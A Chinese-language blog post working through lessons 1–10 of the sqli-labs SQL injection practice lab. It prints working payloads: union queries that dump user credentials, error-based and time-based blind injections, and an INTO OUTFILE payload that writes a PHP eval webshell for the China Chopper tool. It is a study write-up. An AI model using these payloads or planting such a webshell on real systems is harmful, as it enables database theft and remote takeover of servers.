种一棵树最好的时间是10年前,其次是现在。
忘了是谁
前言
说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL 注入漏洞手动注入和自动化(sqlmap)注入的一些知识时,不免有些语塞,有些命令都已经开始淡忘,想想得补一补,于是就打算拿 sqli-labs 这个SQL 注入专属练习靶场来重温一下,顺便把之前写得博文搬到公众号上来。
猪(鄙夷的目光):文字的搬运工。。。
匠(挠挠头):后续对于这个靶场的自动化(sqlmap)注入姿势也总结一下吧,顺便复习一下 sqlmap 。
环境准备
phpstydy
firefox 浏览器
HackBar 插件
sqli-labs 源码
sublime
中国菜刀
hackbar 插件新版的要钱,可以去下载旧版的,或者有其他替代品,功能也差不多
less1
源码分析漏洞利用
采用 get 方法接收用户输入
单引号闭合参数
参数拼接 sql 语句进行数据库查询
01
查看数据表列数
猜测列数为 3 ,回显正常
index.php?id=1' order by 3 --+
猜测列数为 4 ,出现错误,说明当前数据表列数为 3 。
02
union查询
注:MySQL5.0 之后有一个 information_schema 数据库
查看回显位,可以得知数字 2 和 3 可以回显。
index.php?id=0' union select 1,2,3 --+
利用回显位查看数据库相关信息
index.php?id=0' union select 1,version(),database() --+
爆出 security 的所有表
index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+
查看 users 表下的所有列
index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+
查看 users 表下的所有数据
index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+
less2
源码分析漏洞利用
直接获取用户输入
sql 语句拼接
和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样,就是不用闭合单引号和注释后面无关内容而已。
01
union注入
index.php?id=0 union select 1,2,3
less3
源码分析漏洞利用
直接说去用户输入
拼接 sql 语句时将参数用单引号+括号进行引用
对单引号和括号进行闭合即可,同时使用注释符将无用部分注释掉,注入思路和 Less1 一样。
01
union注入
index.php?id=0') union select 1,2,3 --+
less4
源码分析漏洞利用
直接获取用户输入
对参数进行双引号+括号引用
对双引号和括号进行闭合,注入思路和 Less 1 一样。
less5
源码分析漏洞利用
直接获取用户输入
对参数进行单引号引用
没有数据回显
有错误信息回显
01
报错注入
报错注入会涉及三个函数 floor、updatexml、extractvalue。
MySQL_v5.0.96 还有 floor 报错注入,高版本的没有。
MySQL 5.1.5 版本种添加了对 XML 文档进行查询和修改的两个函数:extractvalue 和 updatexml 。
三个函数的运用格式如下:
floor
select 1 from (select count(*), concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a
updatexml
updatexml(1,concat(0x7e,(database()),0x7e),1)
extractvalue
extractvalue(1,concat(0x7e,(database()),0x7e))
这里主要拿 floor 函数来做演示。可以拆分为几部分方便记忆。
select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj = payload,floor(rand(0)*2)
显示当前数据库
index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
显示当前数据库下所有表,这里使用 group_concat() 显示所有表,出现错误 “信息超过一行” 。
index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
使用 limit 一个一个显示出来。
ps: 这里的 limit 0,1 代表第一个数据;limit 1,1 代表第二个数据
index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
less6
源码分析漏洞利用
直接获取用户输入
双引号应用参数
没有数据信息回显
有错误信息回显
相比于 Less 5,这里的参数用双引号引用,注意双引号闭合,注释符的使用即可,解题思路和 Less 5 一样。
less7
源码分析漏洞利用
直接获取用户参数
用双括号+双引号引用参数
没有数据信息回显
mysql_error()函数被注释
页面提示我们 outfile 命令写入木马文件
这种方法的关键之处在于知道网站在系统的绝对路径和能够找到写入文件的路径,之后用菜刀进行连接。
注:反斜杠 \ 是转义字符,这里使用双反斜杠 \\ 表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也开始使用 r 将引号里面的内容定义为字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"
index.php?id=-1')) union select 1,"<?php @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+
之后访问上传的一句话文件。
使用菜刀连接
less8
源码分析漏洞利用
直接获取用户参数
单引号引用参数
没有数据信息回显
也没有错误信息回显
01
时间盲注
没有错误信息回显,那报错注入的方法就行不通,可以试一试时间盲注。
判断时间盲注的方法先是id=1' or sleep(1) # ,如果延时则存在延时注入
时间盲注的格式如下:
if((判断条件),(条件为 true 时执行),(条件为 false 执行))
if(ascii(substring(database()),1,1)=115,sleep(1),1)
猜测当前数据库,若当前数据库的第一个字母的 ASCII码大于0,则延时5秒。
index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+
猜测得出第一个字母位's',ascii(s) = 115
index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+
以此类推去猜,费劲,一般报错注入/时间盲注这些比较费时的操作都交给 sqlmap 去自动化注入比较省事。
less9
源码分析漏洞利用
直接获取用户输入
单引号引用,参数拼接
没有数据回显
没有错误信息回显
时间盲注,注意单引号闭合,思路和 Less 8 一样。
less10
源码分析漏洞利用
直接获取用户参数
双引号引用参数进行 sql 语句拼接
没有数据回显
没有错误信息回显
时间盲注,注意双引号的闭合,注入思路和 Less 8 一样。
尾声
我是匠心,一个在清流旁默默磨剑的匠人,希望有一天能利刃出鞘,仗剑走江湖。
好文!必须在看留言区